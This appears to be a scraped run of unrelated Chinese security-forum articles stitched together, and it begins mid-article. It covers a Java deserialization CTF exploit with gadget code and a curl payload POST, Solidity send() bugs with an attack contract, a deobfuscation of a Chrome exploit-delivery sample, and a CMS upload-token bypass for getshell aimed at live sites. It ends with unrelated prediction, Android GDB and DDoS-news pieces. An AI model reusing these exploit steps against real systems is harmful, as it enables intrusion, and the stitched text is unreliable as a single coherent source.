下图是有参函数调用要执行的函数，必须传入Class[]和Object[]
这么分析来看只能调用RMIConnector类的connect无参方法，只需根据类型创建好对应类即可
final RMIConnector rmic = new RMIConnector(new JMXServiceURL("service:jmx:rmi://127.0.0.1:8888/stub/payload"),new HashMap<>());
因为InvokerTransformer的一个参数的构造方法为私有方法，这里采用反射的方式调用
Constructor con = InvokerTransformer.class.getDeclaredConstructor(String.class);
con.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) con.newInstance("connect");
然后剩下的就是cc6的内容了，完整的payload在<https://raw.githubusercontent.com/BabyTeam1024/ysoserial_analyse/main/TCTFbuggyLoader.java>
### 0x6 发送payload
采用题目中的get发送方式会报400的错误，采用post发送
curl -d 'data=payload' http://127.0.0.1:8080/basic
可成功执行利用链如下图所示
## 0x04 总结
这题配合着之前分析的shiro反序列化漏洞的一些思考一块学习效果极好，可以更好的掌握Java反序列化中ClassLoader发挥的作用。TCTF
buggyLoader主要还是考察反序列化如何绕过不能进行数组类型加载，最后采用的方式是使用二次反序列化漏洞，从而实现无限制的Java原生反序列化，这种方式在实际的漏洞挖掘中也很常见，比如之前笔者分析的Weblogic
CVE-2021-2394漏洞。Java反序列化漏洞还是比较有意思的，同时也有很多知识要总结梳理，《Java安全—ClassLoader类加载器》已经快马加鞭的在路上了。
## 参考文献
<http://pipinstall.cn/2021/10/01/TCTF2021%E6%80%BB%E5%86%B3%E8%B5%9B2%E8%A7%A3Java%E4%B8%8EBypass%20Shiro550%20ClassLoader.loadClass/>
<https://github.com/c014/0CTF-2021-Final-RevengePHP-and-buggyLoader-exp/blob/main/buggyLoader/Poc.java>
<https://blog.wanan.world/2021/10/05/TCTF2021-buggyloader-Study/index/>
<https://www.cnblogs.com/aspirant/p/8991830.html> | 社区文章 |
### 一、前言
根据我们前文的描述，我们现在已经了解了许多因智能合约代码其本身函数特性的原因而导致的安全隐患。例如`call()`函数本身就是为了方便开发者进行合约直接的相互调用而开发出来的，然而却被攻击者利用来绕过检查从而进行攻击。而本文我们分析的安全问题也是与Solidity函数语法有关。由于开发人员对某些函数隐含的机制不熟悉，所以导致了代码中过滤不严格或者逻辑上存在漏洞的情况。尤其在转账函数中，此类问题就显得更为严重。
### 二、Solidity中的转账函数
在介绍安全模型问题之前，我们先简单的介绍一下Solidity中的转账函数。在讲解之前，我们先普及一下相关知识。`address`表示一个账户地址（20字节）
；其属性值为：`.balance`，获取余额，单位是`wei，1eth(以太币)=10^18wei`。
第一个转账函数为`<address>.transfer()`函数，此函数当发送失败时会 调用`throw`，进行回滚状态。在调用此函数时，我们需要传递部分
Gas 供调用，以防止重入（reentrancy）。
第二个函数为`<address>.send()`。当发送失败时会返回 false只会传递部分 Gas 供调用。
第三个函数为`<address>.call.value()`当发送失败时会返回 false。传递所有可用 Gas 供调用，然而此函数不能有效防止重入。
我们在进行合约运行的过程中将使用 msg.sender.call.value(amount)函数，并传递所有可用 Gas
供调用。只有足够量的Gas值才是成功执行合约前提条件。
在函数中，`addr.transfer(y)`等价于
`require(addr.send(y))`。然而send()和transfer()使用时有2300Gas限制，当合约接收以太币时，转账容易失败。
对于`call()`函数而言，它可以调用另外一个合约地址的函数，如下：
addr.call(函数签名，参数)：调用对应函数
addr.call.value(y)()功能上类似addr.transfer(y),但没有gas的限制。
addr.call.gas():指定gas,指定调用函数消耗的gas。
而在官方文档中是这么对转账函数进行警告声明的：[官方文档](https://solidity.readthedocs.io/en/develop/units-and-global-variables.html?highlight=transfer#address-related)
这句话说明，使用`send`函数有许多危险的地方，如果调用堆栈的深度达到1024（参考前文讲述的调用[堆深度限制](https://xz.aliyun.com/t/3316#toc-8)）或者将gas值使用完，则send函数会返回调用失败。所以为了满足以太币转账的安全性，我们需要对send的返回值进行检查，或者我们干脆直接使用`transfer`来代替`send`函数。
而我们在使用`send`或`transfer`函数的时候，需要注意定义`Fallback`函数，不定义回退函数将抛出异常并返回Ether。
### 三、send()函数问题模型
#### 1 Call函数的返回值不进行检查
根据我们上面的介绍，Solidity
中有很多方法可以执行外部调用。除了`transfer()`与`send()`功能外，我们对于更多的外部调用可以直接使用`CALL 操作码`。
在执行函数的过程中，`call()` 和
`send()`函数为了显示调用是否成功，它们会返回一个布尔值。因此，这些功能有一个简单的警告作用，倘若`call()`或
`send()`初始化失败，那么执行这些函数的交易将不进行回滚操作，而是直接令 `call()`或 `send()`将简单地返回 false。
我们可以看下面的一个例子：
contract CPTest {
bool public payedOut = false;
address public winner;
uint public winAmount;
// 外部调用合约代码
function sendToWinner() public {
require(!payedOut);
winner.send(amount);
payedOut = true;
}
function withdrawLeftOver() public {
require(payedOut);
msg.sender.send(this.balance);
}
}
在合约中我们可以读出，当某个用户获得胜利并执行了`sendToWinner()`后，这个胜利者会收到数量为amount的以太币奖励，系统在发送奖励后会将全局变量`payedOut`设置成为true。并在下面的`withdrawLeftOver()`中进行验证，通过验证后进行转账操作。
然而读者也许会发现，倘若我系统执行完`winner.send(amount)`函数后发现由于部分原因导致执行并没有成功（有可能深度超过1024或者由于gas值不足而导致回滚等原因）。在这种情况下，其他用户可以通过`withdrawLeftOver()`
函数取出属于 winner 的奖金。
#### 2 send()函数未检查所导致的问题
倘若我们要进行以太币的转账，那么最直接的办法就是使用`send`函数。看下面的代码：
/*** Listing 1 ***/
if (gameHasEnded && !( prizePaidOut ) ) {
winner.send(1000); // send a prize to the winner
prizePaidOut = True;
}
而此代码是有问题的，当send函数调用失败后，这个被转账一方会得不到以太币，然而下面的`prizePaidOut`变量则会被置为真。
而这里有两个情况会导致`winner.send()`失败。第一个是`winner`地址是一个系统内部合约（不是外部用户合约），之后在调用的时候由于使用了过多的gas导致gas不足而产生抛出异常的情况发生，那么就会产生上述的问题。第二种情况更不容易被发现。在EVM虚拟机中拥有一种有限资源，我们称为“
callstack”，而这个资源不同于Gas机制，它会在交易执行前被消耗。如果“
callstack”已经在执行send函数前被消耗完，那么无论winner被如何定义，那函数也不会顺利的执行。而winner的奖励金就不会如愿的被发送到账户中去。
那么看了这么多安全隐患，那么我们赢入防御呢？
第一是我们要检查`send`函数的返回值，并查看是否执行成功。倘若没有执行成功，那么需要抛出异常。
/*** Listing 2 ***/
if (gameHasEnded && !( prizePaidOut ) ) {
if (winner.send(1000))
prizePaidOut = True;
else throw;
}
虽然这个方法能够暂时解决这个问题，但是它并不是最正确的解决办法。假设我们有如下场景：
/*** Listing 3 ***/
if (gameHasEnded && !( prizePaidOut ) ) {
if (winner.send(1000) && loser.send(10))
prizePaidOut = True;
else throw;
}
看似我们的if方法能够解决上述的安全问题，但是`winner`与`loser`可以对彼此进行互相伤害。因为代码中使用了&&，所以有任何一方无法执行成功那么另外一方就无法拿到对应的奖励。
所以，我们针对“
callstack”的值进行直接检测，来判断其是否是可用的。我们可以定义一个宏函数`callStackIsEmpty()`，并预先执行一个测试函数来判断是否其值中的内容已近用尽。
/*** Listing 4 ***/
if (gameHasEnded && !( prizePaidOut ) ) {
if (callStackIsEmpty()) throw;
winner.send(1000)
loser.send(10)
prizePaidOut = True;
}
#### 3 支付中使用send函数带来的问题
在以太坊中，每一次以太币的转移都需要调用代码。而接收地址可以实施一个[回滚（fallback）函数](https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function)，该函数可能会抛出一个错误。因此，我们永远不要相信一个发送调用的执行是没有错误的。解决方案：我们的合约应该[支持pull支付超过push支付](https://github.com/ethereum/wiki/wiki/Safety#favor-pull-over-push-for-external-calls)。下面我们看一个代码：
contract BadPushPayments
{
address highestBidder;
uint highestBid;
function bid()
{
if (msg.value < highestBid) throw;
if (highestBidder != 0)
{
if (!highestBidder.send(highestBid)) { throw; } }
highestBidder = msg.sender;
highestBid = msg.value;
}
}
合约调用发送函数并检查其返回值，该值看起来很合理。但它在一个函数中间调用发送，这是不安全的，因为发送可以触发另一个合约中的代码的执行。
想象一下，有人从一个地址出价，每次有人向该地址发送资金，就抛出一个错误。如果有人尝试出价高于这个呢？“send”调用将永远失败，使竞价出现异常。一个以错误结束的函数调用会使状态不会改变（任何更改都滚回）。这意味着没有人可以出价，合约也就失败了。
而为了解决这个问题，我们需要将支付分开到不同的函数中，让用户请求与其他合约独立。
contract GoodPullPayments
{
address highestBidder;
uint highestBid;
mapping(address => uint) refunds;
function bid() external
{
if (msg.value < highestBid) throw;
if (highestBidder != 0)
{ refunds[highestBidder] += highestBid; }
highestBidder = msg.sender;
highestBid = msg.value;
}
function withdrawBid() external
{
uint refund = refunds[msg.sender];
refunds[msg.sender] = 0;
if (!msg.sender.send(refund))
{ refunds[msg.sender] = refund; }
}
}
此代码中，我们使用了一个映射值来为每一位出高价的投标人储存退款值。并提供一个函数来提前他们的资金。而倘若send调用出现问题也只有投标人受到影响。
#### 4 竞赛send相关题目
下面我们看一道相关CTF题目。
某个CTF区块链题目源代码如下：
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
address public king;
uint public prize;
function King() public payable {
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}
阅读合约代码，我们理解题目为：谁给的钱多谁就能成为 King，并且将前任 King
付的钱归还。而当重新提交实例时，题目会夺回king的地位，所以需要阻止其他人成为king。
回头再看一下代码，当我们成为 King 之后，如果有人出价比我们高，会首先把钱退回给我们，使用的是 transfer()。而我们知道，当
transfer() 调用失败时会回滚状态，那么如果合约在退钱这一步骤一直调用失败的话，代码将无法继续向下运行，其他人就无法成为新的 King。
所以我们需要部署一个新的合约，当收到转账时主动抛出错误。
pragma solidity ^0.4.18;
contract Attack {
address instance_address = instance_address_here;
function Attack() payable{}
function hack() public {
instance_address.call.value(1.1 ether)();
}
function () public {
revert();
}
}
最后调用 hack()， 成为新的 King。
题目链接为[King](\[https://ethernaut.zeppelin.solutions\]\(https://ethernaut.zeppelin.solutions/)
)。
### 四、send()函数安全事件
而上述模型均为理论上的存在，那么现实合约中是否有相关安全事件发生呢？
#### 1 Etherpot
第一个事件是Etherpot彩票只能合约。这份合约受到未经检查的 Call 返回值的影响：
function cash(uint roundIndex, uint subpotIndex){
var subpotsCount = getSubpotsCount(roundIndex);
if(subpotIndex>=subpotsCount)
return;
var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);
if(decisionBlockNumber>block.number)
return;
if(rounds[roundIndex].isCashed[subpotIndex])
return;
//Subpots can only be cashed once. This is to prevent double payouts
var winner = calculateWinner(roundIndex,subpotIndex);
var subpot = getSubpot(roundIndex);
winner.send(subpot);
rounds[roundIndex].isCashed[subpotIndex] = true;
//Mark the round as cashed
}
其中：
winner.send(subpot);
rounds[roundIndex].isCashed[subpotIndex] = true;
//Mark the round as cashed
怎么样？是不是十分熟悉？这个就是典型的send后并没有检查返回值而直接给复制为ture。从而带来了许多隐患。
#### 2 King of the Ether平台
我们来看一下相关合约平台 [King of the
Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html)。其曾经爆出过相关send函数而引发的漏洞。
King of the Ether合约是一种典型的系统合约账户。我们来看一下它具体的执行步骤：
* 假设现在想要获得权力需要10个以太币。
* 假如你想成为国王，所以你支付10个以太币作为交换。
* 你支付了10个以太币（其中用百分之一的钱做赎金）给上一个权力拥有者。
* 之后你拥有了国王的权力。
* 之后新的制度下来，成为国王需要增长费用50%，也就是说需要15个以太币。
* 下一个人需要支付了15个并成为了新的国王。
然而在这个合约中，上述的send问题也是存在的。
当你准备支付赎金的时候，你的合约中Gas值却不足（少于2300Gas）。所以它不足以执行合约中的代码内容。然而合约失败了，钱并没有转过去，可是系统代码并没有进行验证，也就是说调用send后虽然没给钱，但是仍拿到了东西。
`currentMonarch.etherAddress.send(compensation);`
这也就是我们上面讲述的king这个题目的来源。
而我们对此内容有何建议呢？
首先我们应该避免使用`1.`
<address>.send(<amount>)``函数，除非我们已经确保执行合约的节点中Gas值充足。
之后我们需要考虑要在遇到send错误后要进行回滚操作，将之前进行的内容返回。
使用`<address>.call.value(value).gas(extraGasAmt)()`函数对主函数进行支付。
检查啊`send()`与`call()`函数的返回结果。并针对不同合约的特点指定不同的规则，比如像 the King of the
Ether，它会在执行代码时消耗大量的Gas，这会时合约僵持在哪里，所以导致合约平台卡死，没有任何人能够继续申请。
最重要的一点，在合约部署之前，多进行测试工作。
### 五、参考链接
* 1 <https://blog.csdn.net/qq_33829547/article/details/80378166>
* 2 <https://solidity.readthedocs.io/en/develop/units-and-global-variables.html?highlight=transfer#address-related>
* 3 <http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/>
* 4 <https://www.anquanke.com/post/id/148341>
* 5 <https://www.kingoftheether.com/postmortem.html>
**本稿为原创稿件，转载请标明出处。谢谢。**
</amount></address> | 社区文章 |
#### 一、前言
大概是25号传出chrome在野漏洞利用的恶意样本，当即收到任务让分析一下，看看能不能复现到利用链，尽管我不太会这玩意，但没办法，只能硬着头皮逝一世了。
#### 二、样本还原
样本拖回来看一眼先
可以看到对`<script>`部分进行了加密处理，粗略扫了一眼，先把这部分拖出来url解码一下，处理完后大概长这样：
嗯，看得出不够美观，拖过去格式化一下（ <https://tool.chinaz.com/tools/jsformat.aspx> ）
映入眼帘的一大片16进制，两千多行代码粗略过了一遍，第一遍没怎么看得懂，大概就是在疯狂的各种自定义和混淆，然后看到一个EXP字符串，兴奋了起来，编码不多，手动挨着16进制解一下贴回去，处理完后：
然后跟一下这些字符串，看看是怎么定义的
等我照着全部捋完的时候，传来噩耗（我属实是个s*，为啥不先去百度下字符串）
没关系，再来，直接撸个脚本批量正则匹配hex内容并解码替换
（在这儿贴一份代码，如果有需要的师傅自取（代码写的丑，勿喷））
import re
import binascii
def unhex(s):
str = s.replace('\\x','').replace(' ','').replace('\n','').replace(' ','')
str_1 = binascii.unhexlify(str)
return str_1.decode('utf-8')
f = open(r'F:\1.txt','r+')
ff = open(r'F:\2.txt','w+')
lines = f.readlines()
for line in lines:
hex = re.findall(r"'(.*?)'",line)
for i in range(len(hex)):
line = line.replace(hex[i],unhex(hex[i]))
ff.write(line)
进制全部处理完后发现还是有很多莫名其妙的字符串：
（其实这样做可能会误处理一些东西，但管不了这么多了，只想大概看看情况先）
说实话，很眼熟，看样子是某种混淆，一时间想不起来，后来经过多方查证发现是obfuscator混淆，好，跑github去处理一下（<https://github.com/jscck/crack.js）>
#### 三、样本分析与结论
现在大部分代码已经比较清晰了，让我们看看到底在干嘛，还是先粗略扫一遍，发现两处有意思的地方。
最关心的当然是RCE，先跟一下这个字符串
在全文中就出现了两次，跟到这个位置看一下在干嘛，734行定义生成样式，rce字符串就在这里传入，然后在737行看到一个fetch请求（混淆的参数我在后面注释标注了）
跟进到_0x1fdaef，好家伙，就是这个url
（这行下面那个_0x51b全文就在这里出现了这一次，所以未作讨论，咱也不清楚为啥莫名其妙重新定义一次。。。）
再回过头去看，没有什么发现，下面又是一些混淆，到这里有点疑惑，感觉是在根据请求url来进行什么操作，而且名字叫about.asp，访问一下
emmm，这是没了吗。。。不急，再多看一下，
发现从180行开始，定义了一些信息，chrome version、target
os，看起来是在收集目标信息，再联想到之前那个about.asp，大部分代码都是在请求此网站响应，于是通篇定位关键词、全局查找被混淆参数，最后分别定位到如下几处：
1. 操作indexedDB数据库（1908-2081）
2.收集浏览器信息（2226-2381）
3.收集主机信息 （2385-2622）
（其实不仅是这些地方，这中间会跳各种混淆函数，但主体大致是集中在这些片段里）
然后结合这些代码再跟进到各个片段的混淆参数进行分析替换，尝试捋出代码逻辑。经过这些操作之后，其实到此我已经感觉这个样本应该是没有包含chrome
rce的完整利用链，仅仅是在根据目标的各类信息来判断是否满足利用规则，如果匹配成功则通过漏洞利用的服务器再进行攻击。恶意载荷或许托管在请求的url中（举例）：
后来在网上发现一位国外的师傅也与我的观点大致相同：
#### 结语
当然，也可能是我自身学艺不精导致，本身确实对js不熟（加上混淆真的太严重了，一个混淆参数要跳好几个函数），或许确实存在利用链，只是我没有捋得出来，只能在此给各位师傅分享一下大致过程，含泪下播，溜了溜了。 | 社区文章 |
**前言**
之前在群里有个老兄求助帮忙审计一个自助发卡系统的cms(还是1块钱买来的) 基于tp5开发 我反正没事 于是看了一下o-o 找到了几种getshell的方法
这里就介绍一种,还有一个更神奇的地方,最后发现这位老兄竟然是我的学弟,真的是缘分让我们相遇不是意外.....太神奇了.................让我们一起日了这个站
**正文**
这个系统的后台上传是有两个步骤首先会调用 admin模块plugin控制器的update方法 通过 post的md5 和 filename
生成一个加密token 这个token会用于后面的检验
对应源码
再来看看第二步 当然就是上传文件拉 下面就是个平常的上传文件包
看看对应的源码
这里
if ($this->request->post('token') !== md5($filename . session_id()))
这一个判断是可以绕过的 因为这里
$filename = join('/', $md5) . ".{$ext}";
而 $md5是可以控制的 ext 也是可以控制的 所以$filename可以控制 而且 post 的token也可以控制 这样当然可以绕过
具体的生成方法就是利用上传文件的第一步 自己可以随意构造post的md5值 并且没有检验针对post的md5参数 这是getshell的背景之一
然后关键点在
$info = $file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true))
这个move函数里 跟进这个move函数 在这个move函数里有一个关键的调用
$saveName = $this->buildSaveName($savename);
$filename = $path . $saveName;
我们来看看这个buildsavename函数
protected function buildSaveName($savename)
{
// 自动生成文件名
if (true === $savename) {
if ($this->rule instanceof \Closure) {
$savename = call_user_func_array($this->rule, [$this]);
} else {
switch ($this->rule) {
case 'date':
$savename = date('Ymd') . DS . md5(microtime(true));
break;
default:
if (in_array($this->rule, hash_algos())) {
$hash = $this->hash($this->rule);
$savename = substr($hash, 0, 2) . DS . substr($hash, 2);
} elseif (is_callable($this->rule)) {
$savename = call_user_func($this->rule);
} else {
$savename = date('Ymd') . DS . md5(microtime(true));
}
}
}
} elseif ('' === $savename || false === $savename) {
$savename = $this->getInfo('name');
}
if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}
return $savename;
}
兄弟萌 看见没 hh 关键点就在 最后一个if判断上 判断 $savename里是否有. 有的话就会直接 return $savename
那么这个savename是什么呢 看前面的调用发现 这个savename就是 调用move函数的第二个参数 也就是 $md5[1] 这个是咱们可以控制的
而且看move函数后面是将这个作为文件名了的 那么我们将$md5[1]设置成xxxx.php(要长与16位) 是不是已经成了!!! hh
还需要注意一下 上传的时候 png图片前面一部分的格式需要保留 因为有检测 php代码丢后面就好 或者直接用图片马什么的
你别看它返回的是上传失败 其实已经上传成功了 路径就是 xxxxx/static/upload/$md5[0]/$md5[1]
我刚开始百思不得其解为什么会上传失败 一切都这么的流畅....
最后看了几遍找不出错在哪,不得已自己在本地搭建了环境，然后实验，偶然间,去瞟了一眼上传目录,发现......其实已经上传成功了.....
应该自己去访问一下的 这个地方有点傻了
**最终** ：
弄了个phpinfo上去
看了一下disabled function 并不恐怖 而且是php 7 直接用 php7的bug 就能执行命令
最后尝试了一波提权,因为没什么三方应用用来提的比如redis啊啥的,只有硬刚,然后果然的失败了，希望有大佬教教我提linux.
在fofa上搜了一下不是很多,有100多台,不过这个地方是未授权,后端没有检测,不需要登陆,两个包直接入魂,也算不错了,关键是竟然遇到了学弟,hhhhhhhhhh | 社区文章 |
# Check Point 2018年网络安全预测
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Arnold H. Glasow曾打趣说：“未来往往不期而至。”
过去的一年WannaCry和Petya两款勒索软件的爆发让我们震惊，其在全球造成的破坏是前所未有的，与此同时，人们还发现广泛存在于联网设备中的新漏洞，如BlueBorne。
这些攻击事件和漏洞因规模大而占据着新闻头条，而一些不为大众熟知的网络安全趋势也可能干扰人们的日常生活，所以同样值得关注。
这些趋势是我们对数字技术过重依赖的结果，也是政府和私企收集并使用敏感个人数据的结果。显然，当信息被偷，被非法使用或被用于政治目的时，就增加了个人数据丢失的几率。那么，这些新趋势是什么？我们如何能从容应对，以便消除它们的影响呢？
## 虚假消息
“虚假消息”一词最近被柯林斯词典收录为2017热词。最近几年，国家，企业或个人的数据丢失后被公之于众的情况已屡见不鲜，而社交媒体又在信息泄露中起到推波助澜的作用。
而放出假消息也是破坏声誉和虚假宣传的惯用伎俩。对于2016年美国总统大选的调查表明，大选期间传播最广的消息皆为杜撰。
而且，一项斯坦福大学的研究表明，大众很难分辨网络消息的真假。假消息的传播也被证明具有影响力，且能具有舆论导向作用——2018年，这种伎俩将会越来越多地被利用。
为了限制假消息的传播速度，企业和政府都要小心保护自己手上的数据，我们需要更好地识别网络假消息。
## 合法组织实施网络攻击
随假消息一起水涨船高的现象是合法组织实施网络攻击，包括企业和政府窃取竞争对手的信息，亦或是影响舆论。最好的例证就是法国总统大选期间，候选人Emmanuel
Macron在投票结果公布前几小时遭遇的黑客攻击行为。
我们将看到越来越多的政府和私企利用网络犯罪的方式取得竞争优势——仅仅因为回报大于风险。这就再次回到上文提到的重点，即所有组织都要保护好自己手上的数据和知识产权，防止攻击者加以利用。
## 加密货币会得到规范吗?
加密货币的使用与网络犯罪的关系越来越紧密，对于加密货币会出台更加严格的监管制度吗？这种货币已经成为勒索软件等违法行为的赎金支付方式之一。
制造加密货币所需的资源——据估计，一个比特币的交易和一个美国普通家庭一周的能耗相当——驱使着层出不穷的虚拟币挖掘者利用新兴的恶意软件，劫持电脑用户的CPU运算资源以产生虚拟币收入，通常被劫持用户并不知情。
随着比特币达到8000美元的历史新高，网络罪犯很有可能围绕该货币的系统寻找漏洞，比如是在加密货币交易的用户凭证里，或者使用区块链技术的系统。这些要素都可能导致政府或法律机构对加密货币的滥用采取措施，而这又反过来会影响加密货币本身的价值。
## 政府部署网络部队来保卫公民和边境
政府将部署网络部队来保护国家和公民的利益。这些国家层面的网络防御力量将通过保护国家的互联网基础设施，达到保护公民和关键设施的目的，如电力，水利设施，银行网络等。这一点，将和常规部队和警察保护国家边境安全和公民安全一样。
针对网络攻击的这类防御不需要详述：80%-90%的攻击都可用基本的安全控件抵御，如防火墙，入侵防御，谨慎的网络隔离和常规的漏洞修复。这些措施都有助于阻止攻击者渗透到系统中实施破坏。
2018年，我们将更加依赖并沉迷于我们的网络世界。我们所使用的每一个网络都可能成为攻击者的目标，我们接收的信息可能被人幕后操纵。现在，我们比以往任何时候都需要保护网络和数据安全，这样，我们才能信任所使用的服务，并确保所产生和使用数据的完整性。新年将至，我们需要做好准备。 | 社区文章 |
# 【系列分享】安卓Hacking Part 20：使用GDB在Android模拟器上调试应用程序
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/android-hacking-and-security-part-20-debugging-apps-on-android-emulator-using-gdb/#article>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
在本文中，我们将介绍如何对运行在已经取得root权限的Android设备或模拟器上的进程进行调试。调试进程是一个非常重要的任务，因为通过这种方式，我们就能在应用程序中查找内存损坏等安全漏洞。
**准备工作**
1.设置一个Android模拟器
2\. 安装NDK – 可以从下面的链接进行下载
<http://developer.android.com/tools/sdk/ndk/index.html>
然后，我们要做些什么呢？
其实我们要做的事情并不复杂：
1\. 在模拟器上设置GDB服务器
2\. 从客户端连接到GDB服务器
3\. 开始调试
好了，让我们开始吧。
**使用GDB在Android模拟器上调试APP**
第一步是将gdb服务器推送到模拟器上。我们希望能够从设备中的任何位置访问它，为此，一种方法是将其放在/ system / bin目录下。
我们首先使用“adb”获取设备上的shell，并运行“mount”命令，具体如下所示。
从上图可以看出，在这里/ system是以“ro”权限进行安装的。因为我们需要在这里写一些文件，所以我们需要用“rw”重新安装它，具体命令如下所示。
现在我们来看看“mount”命令。
不知您是否注意到了，现在/system分区是以"rw"权限挂载的。
下面，我们将gdbserver推送到模拟器。
导航到NDK目录并寻找ARM二进制代码所在位置。在我的机器中，它位于“prebuilt / android-arm”目录下面，如下所示。
使用“adb push”命令将gdbserver推送到模拟器上。
为了验证是否上传成功，请使用“adb”在设备上获取shell，并键入以下命令。
“gdbserver –help”
从上图可以看出，gdb服务器一切正常。
我们还可以检查gdbserver的版本，具体命令如下图所示。
我们可以看到，目标进程的进程ID是1234。
下图显示了如何使用gdbserver附加到这个进程。
注意：我们也可以使用以下命令直接挂接到该程序中。
gdbserver:8888 [filename] [arguments]
现在，gdbserver正在运行。一旦运行完成，我们需要使用“adb forward”转发端口8888，具体如下所示。
完成上述所有步骤后，我们就可以启动预编译的gdb客户端了。
我们可以使用下图中的命令来启动预编译的gdb客户端，如下所示。
从上图可以看出，我们会得到一个gdb控制台。现在，我们需要连接到运行在模拟器上的gdbserver实例上，具体方法如下所示。
好极了！ 我们现在终于可以与目标进程进行交互了。让我们列出寄存器清单。
至于你可以用本文介绍的配置来做什么，那就要看你的想象力了。在后面的文章中，我将为读者演示如何使用相同的配置，通过GDB在NDK应用程序中探测内存损坏漏洞。
传送门
[](http://bobao.360.cn/learning/detail/122.html)
[安卓 Hacking Part 1：应用组件攻防（连载）](http://bobao.360.cn/learning/detail/122.html)
[安卓 Hacking Part 2：Content
Provider攻防（连载）](http://bobao.360.cn/learning/detail/127.html)
[安卓 Hacking Part 3：Broadcast
Receivers攻防（连载）](http://bobao.360.cn/learning/detail/126.html)
[安卓 Hacking Part
4：非预期的信息泄露（边信道信息泄露）](http://bobao.360.cn/learning/detail/133.html)
[安卓 Hacking Part
5：使用JDB调试Java应用](http://bobao.360.cn/learning/detail/138.html)
[安卓 Hacking Part 6：调试Android应用](http://bobao.360.cn/learning/detail/140.html)
[安卓 Hacking Part 7：攻击WebView](http://bobao.360.cn/learning/detail/142.html)
[安卓 Hacking Part 8：Root的检测和绕过](http://bobao.360.cn/learning/detail/144.html)
[安卓 Hacking Part 9：不安全的本地存储：Shared
Preferences](http://bobao.360.cn/learning/detail/150.html)
[安卓 Hacking Part 10：不安全的本地存储](http://bobao.360.cn/learning/detail/152.html)
[安卓 Hacking Part
11：使用Introspy进行黑盒测试](http://bobao.360.cn/learning/detail/154.html)
[安卓 Hacking Part 12：使用第三方库加固Shared
Preferences](http://bobao.360.cn/learning/detail/156.html)
[安卓 Hacking Part
13：使用Drozer进行安全测试](http://bobao.360.cn/learning/detail/158.html)
[安卓 Hacking Part
14：在没有root的设备上检测并导出app特定的数据](http://bobao.360.cn/learning/detail/161.html)
[安卓 Hacking Part
15：使用备份技术黑掉安卓应用](http://bobao.360.cn/learning/detail/169.html)
[安卓 Hacking Part 16：脆弱的加密](http://bobao.360.cn/learning/detail/174.html)
[安卓 Hacking Part 17：破解Android应用](http://bobao.360.cn/learning/detail/179.html)
[安卓 Hacking Part 18：逆向工程入门篇](http://bobao.360.cn/learning/detail/3648.html)
[**安卓 Hacking Part
19：NoSQL数据库不安全的数据存储**](http://bobao.360.cn/learning/detail/3653.html) | 社区文章 |
# 卡巴斯基-2019年Q2 DDoS攻击动态
|
##### 译文声明
本文是翻译文章，文章原作者 securelist，文章来源：securelist.com
原文地址：<https://securelist.com/ddos-report-q2-2019/91934/>
译文仅供参考，具体内容表达以及含义原文为准。
## 新闻概览
2019年Q2的高调DDoS攻击相比Q1要多不少，当然，在这些吸引了媒体关注的攻击活动中，大多数都与政治动机有关，而不是商业动机 –
尽管安全专家曾指出[Hacktivism](https://securityintelligence.com/posts/the-decline-of-hacktivism-attacks-drop-95-percent-since-2015/)（与政治有关的黑客入侵）在近年来明显减少。（译者：链接中是IBM X-Force 5月份发布的一份报告，我猜卡巴斯基是在吐槽）
让我们首先来关注3月5日发生的一起攻击事件，严格来说这起事件不在本报告讨论的时间范围内，但该事件在5月初才被公开报道。该事件的攻击[目标](https://www.cnbc.com/2019/05/02/ddos-attack-caused-interruptions-in-power-system-operations-doe.html)是洛杉矶和盐湖城各个地区的电力供应控制系统。加州和怀俄明州的电力供应系统也遇到了问题。这是一个相当罕见的攻击案例，它针对人口稠密地区的电力网络。攻击规模很大，但相对原始，它没能造成任何停电事件。但根据美国能源部的描述，“系统的正常运行出现了中断”。官方没有发布任何与攻击目的和攻击者身份有关的信息。
在4月下半月，厄瓜多尔遭到不计其数的[DDoS攻击](https://techthelead.com/ecuador-claims-it-suffered-40-million-cyber-attacks-since-julian-assanges-arrest/)。根据该国信息和通信部副部长的表述，该国公共机构的网站遭到了4000万次各类网络攻击（包括DDoS攻击）。中央银行、外交部和总统府网站受到的攻击最多。这一波攻击的本质还是hacktivist（黑客主义）：攻击者对新政府决定剥夺朱利安.阿桑奇的政治庇护表示抗议。为了应对数字世界的愤怒狂潮，厄瓜多尔不得不向以色列专家寻求帮助。
6月初，Telegram遭到强力的[DDoS攻击](https://www.theverge.com/2019/6/13/18677282/telegram-ddos-attack-china-hong-kong-protest-pavel-durov-state-actor-sized-cyberattack)。这次攻击主要来自中国的IP地址，这使得Telegram创始人Pavel
Durov有理由将其与香港的示威活动联系起来；用他的话来说，当地的政治反对派使用Telegram来组织抗议活动。北京对此持怀疑态度。
本季度唯一的头条新闻，其攻击活动似乎是由商业因素驱动的，攻击[目标](https://dotesports.com/rainbow-6/news/ubisoft-hit-with-string-of-ddos-attacks-just-as-r6s-operation-phantom-sight-goes-live)是视频游戏厂商育碧。攻击事件发生在6月18日，正好在其发布《彩虹六号：围攻》游戏的扩展包《Phantom
Sight行动》之前。许多玩家因此掉线，他们甚至在Reddit上发起加强DDoS防护的呼吁。
